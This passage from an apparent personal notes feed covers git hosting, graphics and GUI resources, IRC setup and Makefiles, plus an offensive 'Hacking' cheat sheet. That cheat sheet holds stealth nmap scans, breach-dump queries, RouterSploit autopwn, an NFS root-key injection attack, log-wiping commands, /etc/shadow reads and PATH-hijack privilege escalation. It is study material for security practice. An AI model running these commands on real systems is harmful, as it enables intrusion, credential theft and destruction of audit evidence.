            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/git.html</id>
            <updated>2026-06-16T09:49:18Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2
                    id="hosting-private-or-shared-git-repositories-without-dependencies">Hosting
                    private or shared git repositories without
                    dependencies</h2>
                    <p>Tools like Gitea/GitLab/cgit exist to be able to
                    manage and browse code repositories in a simple way.
                    However, I prefer to have as few dependencies as
                    possible. For hosting my own private or shared git
                    repositories it would be sufficient to set up some
                    <code>bare</code> repositores on a target machine.
                    The main hassle is to create new repositories there
                    or assign permissions. But is it really a
                    problem?</p>
                    <h3
                    id="putting-an-existing-repository-from-a-local-machine-into-the-remote">Putting
                    an existing repository from a local machine into the
                    remote</h3>
                    <pre><code>git clone --bare my_project my_project.git
scp -r my_project.git user@git.example.com:/srv/git</code></pre>
                    <h3
                    id="making-a-remote-repository-shared-by-a-group-of-users">Making
                    a remote repository shared by a group of users</h3>
                    <p>Access the folder via SSH:</p>
                    <pre><code>ssh user@git.example.com
cd /srv/git</code></pre>
                    <p>Running the following command will allow any user
                    on the machine within the group
                    <code>name_of_group</code> to access and push to
                    this repository. Additionally, the default branch
                    name is <code>main</code> instead of
                    <code>master</code>.</p>
                    <pre><code>git init --bare --shared=name_of_group
git symbolic-ref HEAD refs/heads/main</code></pre>
                    <h2 id="remove-a-branch-in-git">Remove a branch in
                    Git</h2>
                    <p>Delete a local branch:</p>
                    <pre><code>git branch -d branch-name</code></pre>
                    <p>Delete a remote branch:</p>
                    <pre><code>git push origin --delete branch-name-on-remote</code></pre>
                    <h2 id="send-and-receive-patches">Send and receive
                    patches</h2>
                    <p>There are 2 ways of generating patches with git.
                    The first one is to generate a git diff with:</p>
                    <pre><code># Send the last commit
git diff HEAD~1 &gt; name.of.patch

# Send the patch since a given commit with hash: 01020304
git diff 01020304 &gt; name.of.patch</code></pre>
                    <p>If <a
                    href="https://git-send-email.io/#step-1">git-send-email</a>
                    is correctly configured we can send a mail directly
                    with our patch:</p>
                    <pre><code>git send-email --to=&quot;bd@badd10de.dev&quot; HEAD^</code></pre>
                    <p>To apply patches from <code>git diff</code> or if
                    the message was downloaded as an attachment use:</p>
                    <pre><code># Check if there are any issues with the patch.
git apply --check &lt;patchname&gt;

# Apply the patch.
git apply &lt;patchname&gt;</code></pre>
                    <p>This will only apply the patch, meaning we need
                    to commit the changed files afterwards. If the patch
                    was sent with <code>git send-email</code>, we can
                    send the entire email to <code>git am</code> which
                    will update the index list with all the authors. If
                    using <code>mutt</code> you can pipe the email
                    directly to the index. If not, download the full
                    mail and save it somewhere in your path and
                    then:</p>
                    <pre><code>git am pathname.mail</code></pre>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=USjZcfj8yxE&amp;ab_channel=ColtSteele">Learn
                    Git In 15 Minutes</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=7Mh259hfxJg&amp;ab_channel=ColtSteele">Git
                    Rebase Vs. Merge</a></li>
                    <li><a href="https://cbea.ms/git-commit/">How to
                    write good commit messages</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Graphics Programming</title>
            <link href="https://badd10de.dev//notes/graphics-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/graphics-programming.html</id>
            <updated>2026-06-16T09:49:19Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="related">Related</h2>
                    <ul>
                    <li><a
                    href="/notes/vulkan-programming.html">Vulkan</a></li>
                    <li><a
                    href="/notes/opengl-programming.html">OpenGL</a></li>
                    </ul>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://rxi.github.io/200402.html">Cached
                    Software Rendering (2020)</a>, by <a
                    href="https://twitter.com/x_rxi">@rxi</a>.</li>
                    <li><a
                    href="https://fgiesen.wordpress.com/2011/07/09/a-trip-through-the-graphics-pipeline-2011-index/">A
                    trip through the Graphics Pipeline (2011)</a>, by <a
                    href="https://twitter.com/rygorous">@rygorous</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2014/06/22/">A
                    GPU Approach to Path Finding</a>, by Chris
                    Wellons</li>
                    <li><a
                    href="https://www.iquilezles.org/www/articles/distfunctions/distfunctions.htm">SDF
                    Distance functions in shaders</a></li>
                    <li><a
                    href="https://www.iquilezles.org/www/index.htm">Amazing
                    computer graphics articles</a></li>
                    <li><a
                    href="https://forums.tigsource.com/index.php?topic=40832.msg1363742#msg1363742">How
                    does dithering works in Return of the Obra
                    Dinn</a></li>
                    <li><a
                    href="https://surma.dev/things/ditherpunk/">Ditherpunk,
                    monochrome image dithering</a></li>
                    <li><a
                    href="http://mlab.uiah.fi/~kkallio/antialiasing/EdgeFlagAA.pdf">Scanline
                    edge-flag algorithm for antialiasing</a></li>
                    <li><a
                    href="https://medium.com/@alen.ladavac/the-elusive-frame-timing-168f899aec92">The
                    elusive frame timing</a></li>
                    <li><a
                    href="https://medium.com/@tglaiel/how-to-make-your-game-run-at-60fps-24c61210fe75">How
                    to make your game run at 60fps (Tyler
                    Glaiel)</a></li>
                    <li><a
                    href="https://gafferongames.com/post/fix_your_timestep/">Fix
                    Your Timestep!</a></li>
                    <li><a
                    href="https://github.com/s-macke/VoxelSpace">Explanation
                    of VoxelSpace rendering</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=mnxs6CR6Zrk">How
                    The Wind Waker Defined Cel Shading, by
                    Jasper</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=H1oNuKChsdU">Low
                    Poly Modeling: Style Through Economy</a></li>
                    <li><a
                    href="https://raytracing.github.io/">Raytracer in a
                    weekend (books)</a></li>
                    <li><a
                    href="https://courses.pikuma.com/order?ct=1c315d66-a473-4dbe-a1f7-e5727fded817">3D
                    software rendering course</a></li>
                    </ul>
                    <h3 id="books">Books</h3>
                    <ul>
                    <li><a
                    href="https://www.realtimerendering.com/">Real Time
                    Rendering Resources</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // GUI Programming</title>
            <link href="https://badd10de.dev//notes/gui-programming.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/gui-programming.html</id>
            <updated>2026-06-16T09:49:19Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>One of the most tedious parts of making
                    applications. I long to find a good GUI toolkit that
                    is minimal and featureful. Some existing options
                    are:</p>
                    <ul>
                    <li><a href="https://www.gtk.org/">GTK</a>: When
                    using this, I’ve had some issues in the past, mostly
                    warnings appearing on the terminal for no
                    reason.</li>
                    <li><a href="https://www.qt.io">QT</a>: Problematic
                    for non open source projects, but powerful
                    option.</li>
                    <li><a
                    href="https://www.wxwidgets.org/">WxWidgets</a>:
                    Used this one on a couple of projects, one in C++
                    and also with the Python bindings. Gets the job
                    done, but seems a bit convoluted for my liking.</li>
                    <li><a
                    href="https://www.enlightenment.org/develop/start.md">EFL</a>:
                    Originally designed to work with Elementary OS, a
                    window manager that I used to use when I was getting
                    into Linux during my teenage years. I haven’t tried
                    it yet, but looks very promising! It promises a
                    small memory footprint and greater speed and
                    efficiency.</li>
                    <li><a
                    href="https://tldp.org/HOWTO/NCURSES-Programming-HOWTO/">NCURSES</a>:
                    I don’t know if calling this a GUI is appropriate,
                    as it is more of a TUI (Terminal User Interface).
                    Probably this would be my options if the application
                    was going to be terminal based.</li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Hacking</title>
            <link href="https://badd10de.dev//notes/hacking.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/hacking.html</id>
            <updated>2026-06-16T09:49:19Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="hacking-tools">Hacking tools</h2>
                    <h3 id="nmap">nmap</h3>
                    <p>Used for network reconnaissance, port
                    exploration, OS exploration or vulnerability
                    exploration.</p>
                    <pre><code># Show TCP ports for a domain, ip, or range
nmap -sT domain.name.com.or.ip

# Similar to the command above but tries to be stealthy
nmap -sS domain.name.com.or.ip

# Perform aggressive scan
sudo nmap -A domain.name.com.or.ip

# Try to identify the OS of network machines
sudo nmap -O domain.name.com.or.ip

# Try to get the version number of the open applications
sudo nmap -sV domain.name.com.or.ip

# Run vulnerability analysis on all machines of the network
sudo nmap -sV -p21-8080 --script vulners 192.168.1.1/24

# Use decoy IP and MAC addresses to be extra stealthy (Sometimes using mac
# spoofing or too many decoys will make the analysis fail).
sudo nmap -O domain.name.com.or.ip -D RND:5 --spoof-mac 01:02:03:04:05:06

# Perform a service scan with a UDP scan and drop the initial ping.
sudo nmap -sS -sU -PN 192.168.1.1</code></pre>
                    <h3 id="sherlock">Sherlock</h3>
                    <p>Can be used to explore the social networks that a
                    given person is a member of.</p>
                    <ul>
                    <li>URL:
                    https://github.com/sherlock-project/sherlock</li>
                    </ul>
                    <pre><code>python3 sherlock username</code></pre>
                    <h3 id="h8mail">h8mail</h3>
                    <p>This tool can be used to explore a password
                    database breach to find available passwords for one
                    or more given email adresses.</p>
                    <pre><code># Query a single target
h8mail -t target@example.com

# Query a single target with a local breach dump
h8mail -t user@email.com -lb &#39;/path/to/breach/compilation/directory&#39;

# Query a list of targets without API calls against the Breach Compilation.
h8mail -t targets.txt -bc /path/to/breach/compilation/directory -sk</code></pre>
                    <h3 id="shodan">Shodan</h3>
                    <p>Shodan is a search engine for vulnerable internet
                    connected devices. Using it we can potentially find
                    webcams, satellite telephones, etc. In some cases,
                    they could be unsecured or use a simple
                    user/password combination.</p>
                    <h3 id="racoon-scanner">Racoon Scanner</h3>
                    <p>A high performance offensive security tool for
                    reconnaissance and vulnerability scanning. Similar
                    to nmap but it offers more exhaustive analysis and
                    extensive reporting capabilities.</p>
                    <pre><code>raccoon domain.name.com</code></pre>
                    <h3 id="routersploit">RouterSploit</h3>
                    <p>Try to find and exploit vulnerabilities in
                    routers and embedded devices with the RouterSploit
                    framework.</p>
                    <pre><code># Start the framework
python3 rsf.py

# Try autopwn
use scanners/autopwn
show options
set target 192.168.1.1
run</code></pre>
                    <p>If the analysis has found vulnerabilities, the
                    exploit can be ran with:</p>
                    <pre><code>use exploits/reported/exploit/path
set target 192.181.1.1
check
run</code></pre>
                    <p>To find target devices, we can search open ports
                    with nmap:</p>
                    <pre><code>nmap -p 80,8080,8081,81 192.168.1.0/24</code></pre>
                    <h3 id="metasploit">Metasploit</h3>
                    <p>Framework for exploring and exploiting
                    vulnerabilities.</p>
                    <p>A typical approach would be to:</p>
                    <ol type="1">
                    <li>Perform exploration of a particular remote/local
                    system to find vulnerabilities.</li>
                    <li>Try get shell access.</li>
                    <li>Create a meterpreter session.</li>
                    <li>Perform privilege escalation or exploit the
                    current user permissions.</li>
                    <li>Post exploitation, might include clearing tracks
                    (Changing or shredding <code>/var/log</code>,
                    <code>.bash_history</code>,
                    <code>.zsh_history</code>), installing a keylogger
                    or backdoor, uploading and running viruses, download
                    files, take webcam picures/videos, etc.</li>
                    </ol>
                    <h2 id="common-vulnerabilities">Common
                    vulnerabilities</h2>
                    <h3 id="rhosts-misconfiguration">rhosts
                    misconfiguration</h3>
                    <p>If the .rhosts file is misconfigured with “+ +”
                    and the ports 512(exec),513(login),514(shell) are
                    opoen, we can just login using rsh-client without
                    user/password with:</p>
                    <pre><code>rlogin -l root ip.or.domain.name</code></pre>
                    <h3 id="exposed-nfs-filesystems">Exposed NFS
                    filesystems</h3>
                    <p>If port 2049 is open, this can mean that NFS is
                    active on the target machine.</p>
                    <pre><code># Check rpc info to identify NFS
rpcinfo -p ip.or.domain.name

# Show what is being mounted, hopefully the / share (`/ *`)
showmount -e ip.or.domain.name

# Exploit this by mounting the root filesystem and adding our key to the
# authorized ssh keys for root. Note that for extra protection we could create
# a new ssh key for each attack instead of using the default one, that could give
# us away.
mount -t nfs ip.or.domain.name:/ /mnt
cat ~/.ssh/id_rsa.pub &gt;&gt; /mnt/root/.ssh/authorized_keys
umount /mnt
ssh root@ip.or.domain.name</code></pre>
                    <h2 id="backdoors">Backdoors</h2>
                    <p>If we can tamper with some connection oriented
                    services, we could insert a backdoor that allows us
                    to connect without anyone noticing. For example, in
                    metasploitable2 there is a doctored
                    <code>vsftpd</code> service that opens a backdoor if
                    the username ends with the <code>:)</code> sequence,
                    opening a listening shell on port 6200.</p>
                    <h2 id="web-services">Web services</h2>
                    <p>Very often we can find vulnerable web services,
                    be it because of misconfiguration, default admin
                    passwords, or just vulnerable to the common attacks
                    that web apps are susceptible of. We can practice
                    these with metasploitable2 on the multillidae web
                    application.</p>
                    <ul>
                    <li>NOWASP:
                    https://sourceforge.net/projects/mutillidae/</li>
                    <li>TUTORIALS:
                    https://www.youtube.com/user/webpwnized</li>
                    </ul>
                    <h2 id="searching-for-vulnerabilities">Searching for
                    vulnerabilities</h2>
                    <p>There are different search engines and databases
                    that we can use to try to find active
                    vulnerabilities.</p>
                    <h3 id="tools">Tools</h3>
                    <h4 id="searchsploit">Searchsploit</h4>
                    <p>In linux we can use the tool Searchsploit to
                    download offline reports of vulnerabilities.</p>
                    <pre><code>searchsploit kernel 2.6 linux | sort -n</code></pre>
                    <p>It is important to read through the code of the
                    exploits instead of blindly running things you find
                    on the internet.</p>
                    <h3 id="links">Links</h3>
                    <ul>
                    <li>www.cvedetails.com</li>
                    <li>www.exploit-db.com</li>
                    </ul>
                    <h2 id="post-exploitation">Post exploitation</h2>
                    <h3 id="removing-log-files">Removing log files</h3>
                    <p>Some interesting log files that we want to get
                    rid of <code>rm -rf filename</code>, truncate
                    <code>truncate -s 0 filename</code>, shred
                    <code>shred -zu filename</code>, or even zeroing a
                    file <code>cat /dev/null &gt; filename</code>:</p>
                    <pre><code>/var/log/auth.log
/var/log/cron.log
/var/log/maillog
/var/log/httpd</code></pre>
                    <p>There are some specified tools for this purpose,
                    like covermyass:</p>
                    <p>-URL:
                    https://github.com/sundowndev/go-covermyass</p>
                    <pre><code>wget &quot;https://github.com/sundowndev/go-covermyass/releases/download/v0.2/go-covermyass_Linux_x86_64.tar.gz&quot;
tar xfv go-covermyass.tar.gz
chmod +x go-covermyass
./go-covermyass</code></pre>
                    <h2 id="privilege-scalation">Privilege
                    scalation</h2>
                    <h3 id="linux">Linux</h3>
                    <p>If you manage to get a shell to the target
                    machine, there are several things you can do to try
                    to get root. First of all, do some local
                    research:</p>
                    <ul>
                    <li>Sytem info: <code>uname -a</code>,
                    <code>env</code>, <code>whoami</code>,
                    <code>history</code>, <code>pwd</code></li>
                    <li>Who else has logged in: <code>who</code>,
                    <code>w</code>, <code>last</code></li>
                    <li>Is the user in sudoers: <code>sudo -l</code>,
                    <code>cat /etc/sudoers</code></li>
                    <li>Are ther other root users:
                    <code>grep -v -E "^#" /etc/passwd</code></li>
                    <li>What is the network configuration:
                    <code>ifconfig -a</code>,
                    <code>netstat -antup</code>,
                    <code>lsof -i</code></li>
                    <li>Is there something interesting on the bash/shell
                    history?</li>
                    </ul>
                    <p>You can gather more intel about running serices
                    and versions of software to try detect the attack
                    surface.</p>
                    <ul>
                    <li>Enumerate services, specially those being run by
                    root: <code>ps aux</code>, <code>ps -ef</code></li>
                    <li>List versions of installed software:
                    <code>dpkg -l</code>, <code>rpm -qa</code>,
                    <code>httpd -v</code>,
                    <code>mysql   --version</code>,
                    <code>python --version</code>,
                    <code>ruby -v</code></li>
                    </ul>
                    <p>At this stage you can use searchsploit to try to
                    find vulnerabilities on the kernel, privileged
                    services or anything that caught your attention.</p>
                    <p>Because simple solutions are always better, try
                    get more info from:</p>
                    <ul>
                    <li>SUID/SGID files:
                    <code>find / -perm -u=s -type f 2&gt;/dev/null</code></li>
                    <li>Password hashes:
                    <code>cat /etc/shadow</code></li>
                    <li>Can you overwrite files that will get run by
                    root?</li>
                    <li>Check jobs/tasks:
                    <code>ls -la /etc/cron*</code></li>
                    <li>Are the ssh keys readable or can be modified in
                    any user: <code>ls -la ~/.ssh</code></li>
                    <li>Are there any cleartext credentials in varios
                    configurations files:
                    <code>find . -type f -maxdepth 4 | xargs grep -i "password"</code></li>
                    <li>Check file/folder permissions, specially on home
                    directories, and backups.</li>
                    </ul>
                    <p>Sometimes complicated things can pay off
                    also!</p>
                    <ul>
                    <li>Check for shell/exec system calls on root
                    programs to try to set the path of custom
                    executables. For example if a system call uses the
                    <code>grep</code> program from within a
                    root/SUID/SGID file, without an explicit path, we
                    can create a custom <code>grep</code> that runs an
                    exploit, put it on an executable on the local
                    directory and export current path with
                    <code>export PATH=.:$PATH</code>.</li>
                    </ul>
                    <h3 id="windows">Windows</h3>
                    <ul>
                    <li>Misconfigurations</li>
                    <li>Missing DLLs</li>
                    <li>Service hijacking</li>
                    </ul>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">Linux
                    privilege scalation (g0tmi1k)</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=SHdM197sbIE">Elevating
                    windows privileges (Jake Williams)</a></li>
                    <li><a
                    href="https://www.youtube.com/watch?v=yXe4X-AIbps">Privilege
                    escalation talk (Jake Williams)</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Internet Relay Chat</title>
            <link href="https://badd10de.dev//notes/irc.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/irc.html</id>
            <updated>2026-06-16T09:49:19Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="connecting-to-a-server">Connecting to a
                    server</h2>
                    <p>There are multiple IRC servers available, from
                    the now disgraced <code>freenode</code> to
                    <code>libera</code> and <code>esper</code>. To
                    connect to a server you need to add it to the list
                    and connect to it. You may want to change your nick
                    after that. For example, for
                    <code>libera</code>:</p>
                    <pre><code>/server add libera irc.libera.chat:6697
/connect libera
/nick mynick</code></pre>
                    <p>Now we can register our nick if you haven’t done
                    it already:</p>
                    <pre><code>/msg NickServ REGISTER password your@email.com</code></pre>
                    <p>After that you probably want to set up your chat
                    client to use sasl authentication. In case of
                    Weechat:</p>
                    <pre><code>/set irc.server.libera.nicks &quot;mynick,mynick2,mynick3,mynick4,mynick5&quot;
/set irc.server.libera.username &quot;My user name&quot;
/set irc.server.libera.realname &quot;My real name&quot;
/set irc.server.libera.autoconnect on
/set irc.server.libera.addresses &quot;irc.libera.chat/6697&quot;
/set irc.server.libera.ssl on
/set irc.server.libera.sasl_username &quot;mynick&quot;
/set irc.server.libera.sasl_password xxxxxxx</code></pre>
                    <h2 id="basic-irc-commands">Basic IRC commands</h2>
                    <ul>
                    <li><code>/join #channel</code>: Joins a
                    channel.</li>
                    <li><code>/leave #channel</code>: Leaves a channel,
                    leaving the buffer open.</li>
                    <li><code>/quit [message]</code>: Leaves the server
                    with optional message.</li>
                    <li><code>/list</code>: Show all channels on the
                    server.</li>
                    <li><code>/nick mynick</code>: Changes nickname</li>
                    <li><code>/names #channel</code>: Show users on the
                    given channel.</li>
                    <li><code>/msg nickname message</code> and
                    <code>/query nickname message</code>: Send a private
                    message to the given user, on the same buffer or a
                    new one respectively.</li>
                    <li><code>/me action</code>: Shows an action being
                    performed by you.</li>
                    <li><code>/whois nickname</code>: Shows user
                    information.</li>
                    <li><code>/ping nickname</code>: Sends a ping/poke
                    to the given user.</li>
                    </ul>
                    <h3 id="resources">Resources</h3>
                    <ul>
                    <li><a
                    href="https://gist.github.com/xero/2d6e4b061b4ecbeb9f99">IRC
                    Reference cheat sheet</a></li>
                    </ul>
                    <h2 id="weechat-relay-on-a-raspberry-pi">Weechat
                    relay on a Raspberry PI</h2>
                    <p>Weechat supports its own relay protocol, which
                    makes it very convenient for using it on a Raspberry
                    PI, since it consumes very little power. The
                    documentation on the matter can be a bit confusing
                    though. The simplest way I’ve found is as
                    follows.</p>
                    <p>First, install weechat on the PI and start
                    it:</p>
                    <pre><code>sudo apt-get install weechat
weechat</code></pre>
                    <p>Configure a relay password with:</p>
                    <pre><code>/set relay.network.password &quot;myrelaypass&quot;</code></pre>
                    <p>To keep things simple, add a relay for all
                    servers without SSL, wince we are on a controlled
                    local network (Note that SSL will still be used when
                    connecting to servers if desired).</p>
                    <pre><code>/relay add irc 8000</code></pre>
                    <p>If instead you want to set up this connection
                    with SSL use this instead (Note that you will need
                    to obtain an SSL certificate for it to work):</p>
                    <pre><code>/relay add ssl.irc 8000</code></pre>
                    <p>Now you can add and configure the servers as
                    normal on the weechat instance of the PI. Multiple
                    servers can be configured (for example
                    <code>libera</code> and <code>esper</code>).</p>
                    <pre><code>/server add libera irc.libera.chat/6697
/server add esper irc.esper.net/6697
/set irc.server.libera.nicks &quot;mynick,mynick2,mynick3,mynick4,mynick5&quot;
/set irc.server.libera.username &quot;My user name&quot;
/set irc.server.libera.realname &quot;My real name&quot;
/set irc.server.libera.autoconnect on
/set irc.server.libera.ssl on
/set irc.server.libera.sasl_username &quot;mynick&quot;
/set irc.server.libera.sasl_password xxxxxxx
/set irc.server.esper.nicks &quot;mynick,mynick2,mynick3,mynick4,mynick5&quot;
/set irc.server.esper.username &quot;My user name&quot;
/set irc.server.esper.realname &quot;My real name&quot;
/set irc.server.esper.autoconnect on
/set irc.server.esper.ssl on
/set irc.server.esper.sasl_username &quot;mynick&quot;
/set irc.server.esper.sasl_password xxxxxxx
/connect libera
/connect esper</code></pre>
                    <p>Now you can go to the client weechat instance and
                    connect to the relay servers by specifying
                    <code>servername:myrelaypass</code> as password:</p>
                    <pre><code>/set irc.server_default.capabilities &quot;server-time&quot;
/server add esper raspberry.pi.local.ip.addr/8000
/server add libera raspberry.pi.local.ip.addr/8000
/set irc.server.esper.password &quot;esper:myrelaypass&quot;
/set irc.server.libera.password &quot;libera:myrelaypass&quot;
/connect esper
/connect libera</code></pre>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Makefiles</title>
            <link href="https://badd10de.dev//notes/makefiles.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/makefiles.html</id>
            <updated>2026-06-16T09:49:20Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>I use Makefiles in many of my projects and like
                    many people I have a love/hate relationship with
                    them. The main draw of using makefiles is that
                    <code>make</code> is a very ubiquitous tool in most
                    operating systems, and even though they may not be
                    fully compatible with each other (some have their
                    own quirks and extensions) they can be easily
                    adapted to work on many circumstances. Makefiles are
                    used for automation and compilation, normally
                    expecting at least one input file and one output
                    file.</p>
                    <p>With <code>make</code>, we can make sure we avoid
                    unnecessary computing work. For example if you
                    compile three files <code>a.c</code>,
                    <code>b.c</code> and <code>c.c</code> into separate
                    object files that are later linked into a final
                    <code>out</code> executable, if we make changes to
                    only <code>b.c</code> we want to avoid recompiling
                    <code>a.c</code> and <code>c.c</code> since
                    sometimes these compilations take a long time to
                    complete. I also use Makefiles to generate LaTeX
                    papers in different formats, not only for pure
                    programming tasks. Sometimes I used them as
                    glorified shell scripts that give me different
                    <em>targets</em> I can use.</p>
                    <h2 id="syntax">Syntax</h2>
                    <p>The syntax and rules for Makefiles are a bit
                    arcane and many people seem to have trouble with
                    them. As usual, keeping things simple is generally
                    preferred, and although I’m no Makefile wizard, I’m
                    quite satisfied with this tool, specially compared
                    with other, more complex build systems. Pay
                    attention to the use of tab characters
                    <code>\t</code> for indentation, otherwise
                    <code>make</code> will likely not work.</p>
                    <h3 id="targets-and-prerequisites">Targets and
                    prerequisites</h3>
                    <p>Make rules follow the following format:</p>
                    <pre><code>target: prerequisite | order-only-prerequisites
    commands...</code></pre>
                    <p>The <code>target</code> is the name of the rule
                    or output file to be generated. Prerequisites are
                    the rules that are necessary in order to build the
                    target. Normally the prerequisites are recursively
                    built left to right if some of the prerequisite
                    files change, the target will be generated. There
                    are occasions where we don’t want this to happen,
                    for example we only want to build the prerequisite
                    once and don’t care if it has changed. This is
                    useful for directory creation and such.</p>
                    <pre><code>exe: a.o b.o | $(BUILD_DIR)
    touch exe
    echo &quot;GOOD&quot;

exe2: a.o b.o $(BUILD_DIR)
    touch exe2
    echo &quot;BAD&quot;

$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)</code></pre>
                    <p>In this case <code>make exe2</code> will keep
                    trying to build the target, whereas
                    <code>make exe</code> knows that no rebuilding is
                    necessary, since we ignore the changes for the build
                    directory.</p>
                    <h3 id="variable-assignment">Variable
                    assignment</h3>
                    <p>We can assign variables in different ways:</p>
                    <ul>
                    <li><code>VAR  = main.c</code>: Verbatim assignment.
                    Expressions in the right side will not be
                    evaluated.</li>
                    <li><code>VAR := $(wildcard *.c)</code>: Assignment
                    with expression expansion/evaluation.</li>
                    <li><code>VAR != find . -name '*.c'</code>: Shell
                    output.</li>
                    <li><code>VAR ?= 1</code>: Conditional assignment.
                    If this value was not passed as en environmental
                    variable or directly during the make call.</li>
                    <li><code>VAR += -flag</code>: Appending to the
                    preceding value of the variable.</li>
                    </ul>
                    <h3 id="built-in-functions">Built-in functions</h3>
                    <p>There are a number of built-in functions that are
                    common for <em>most</em> make implementations. This
                    is by no means an</p>
                    <ul>
                    <li><code>$(SRCS:.c=.o)</code>: Text
                    substitution.</li>
                    <li><code>$(shell ..)</code>: Run a shell
                    command.</li>
                    <li><code>(foreach var,list,text)</code>: Looping
                    functions. For example:
                    <code>FILES := $(foreach   DIR,$(DIRS),$(wildcard $(DIR)/*))</code>.</li>
                    <li><code>(if ..)</code>,
                    <code>(or ..)</code>,<code>(and ..)</code>: Logic
                    functions.</li>
                    <li><code>$(error ..)</code>,
                    <code>$(warning ..)</code>, <code>(info ..)</code>:
                    Displays an error/waring or info text.</li>
                    <li><code>$(addprefix pfx,list)</code>: Adds a
                    prefix to all elements of the given list.</li>
                    </ul>
                    <h3 id="implicit-rules">Implicit rules</h3>
                    <p>By default, we have a number of implicit rules
                    built into <code>make</code>. These can be
                    overridden or disabled if desired (by adding
                    <code>.SUFFIXES:</code> at the start of the
                    file).</p>
                    <p>For example for C files:</p>
                    <pre><code>%.o: %.c
    $(CC) -c $(CFLAGS) -o $@ $&lt;</code></pre>
                    <p>The percent symbol <code>%</code> denotes pattern
                    substitution, so this means that for each
                    <code>a.c b.c c.c</code> file we will generate the
                    corresponding <code>a.o b.o c.o</code> file.</p>
                    <p>Notice those magic variables <code>$@</code> and
                    <code>$&lt;</code>? This is where a lot of confusion
                    with Makefiles stems. I pretty much always have to
                    look at a reference when I have to use these
                    things:</p>
                    <ul>
                    <li><code>$@</code>: Target name (in our case
                    <code>%.o</code>)</li>
                    <li><code>$&lt;</code>: Name of the first
                    prerequisite.</li>
                    <li><code>$?</code>: Name of all prerequisites newer
                    than the target.</li>
                    <li><code>$^</code>: Name of all prerequisites with
                    spaces between them, without duplicates.</li>
                    <li><code>$+</code>: Like <code>$^</code>, but those
                    prerequisites listed more than once appear in the
                    order they were listed in the makefile.</li>
                    <li><code>$|</code>: Name of all order-only
                    prerequisites with spaces between them.</li>
                    <li><code>$*</code>: The stem from which an implicit
                    rule matches. e.g. if target is
                    <code>dir/a.foo.b</code> and the pattern
                    <code>dir/a.%.b</code>, the stem is
                    <code>dir/foo</code></li>
                    </ul>
                    <h2 id="my-standard-makefile">My standard
                    makefile</h2>
                    <p>I tend to copy my makefiles from project to
                    project, adjusting things as needed. For example,
                    for my C projects as use something like this:</p>
                    <pre><code>.POSIX:
.SUFFIXES:
.PHONY: main run clean

# Source code location and files to watch for changes.
SRC_DIR     := src
BUILD_DIR   := build
SRC_MAIN    := $(SRC_DIR)/main.c
SRC_OBJ     :=
OBJECTS     := $(patsubst $(SRC_DIR)/%.c, $(BUILD_DIR)/%.o, $(SRC_OBJ))
WATCH_SRC   := $(shell find $(SRC_DIR) -name &quot;*.c&quot; -or -name &quot;*.s&quot; -or -name &quot;*.h&quot;)
INC_DIRS    := $(shell find $(SRC_DIR) -type d)
INC_FLAGS   := $(addprefix -I,$(INC_DIRS))

# Output names and executables.
TARGET := hello
BIN    := $(BUILD_DIR)/$(TARGET)

# Main compilation tool paths.
CC       := gcc
LD       := ld
AS       := as
OBJDUMP  := objdump

# Compiler and linker configuration.
CFLAGS         := -Wall -Wextra -pedantic
CFLAGS         += $(INC_FLAGS)
LDFLAGS        :=
LDLIBS         :=
RELEASE_CFLAGS := -O2 -DNDEBUG
DEBUG_CFLAGS   := -O0 -DDEBUG -g

# Setup debug/release builds.
DEBUG ?= 0
ifeq ($(DEBUG), 1)
    CFLAGS += $(DEBUG_CFLAGS)
else
    CFLAGS += $(RELEASE_CFLAGS)
endif

main: $(BIN)

# Compile and link everything in one go.
$(BIN): $(SRC_MAIN) $(OBJECTS) $(WATCH_SRC) | $(BUILD_DIR)
    $(CC) $(CFLAGS) $(LDFLAGS) -o $(BIN) $(SRC_MAIN) $(OBJECTS) $(LDLIBS)

# Run the program
run: $(BIN)
    ./$(BIN)

# Remove build directory.
clean:
    rm -rf $(BUILD_DIR)

# Create the build directory.
$(BUILD_DIR):
    mkdir -p $(BUILD_DIR)

# Inference rules for C files.
$(BUILD_DIR)/%.o: $(SRC_DIR)/%.c | $(BUILD_DIR)
    $(CC) $(CFLAGS) -c $&lt; -o $@</code></pre>
                    <p>We want to make our files posix compatible, so we
                    make sure to specify it as the first non comment
                    line. We also mark our <code>PHONY</code> targets
                    (targets that don’t generate any files).</p>
                    <p>By default <code>make</code> already have a
                    series of inference rules, but I like to structure
                    my code in a certain way, so <code>.SUFFIXES:</code>
                    removes these, that way I can avoid having object
                    files spread around my source tree. All intermediate
                    objects and the final executable will be stored in
                    the <code>BUILD_DIR</code> folder and my code
                    resides on a <code>SRC_DIR</code> directory. If I am
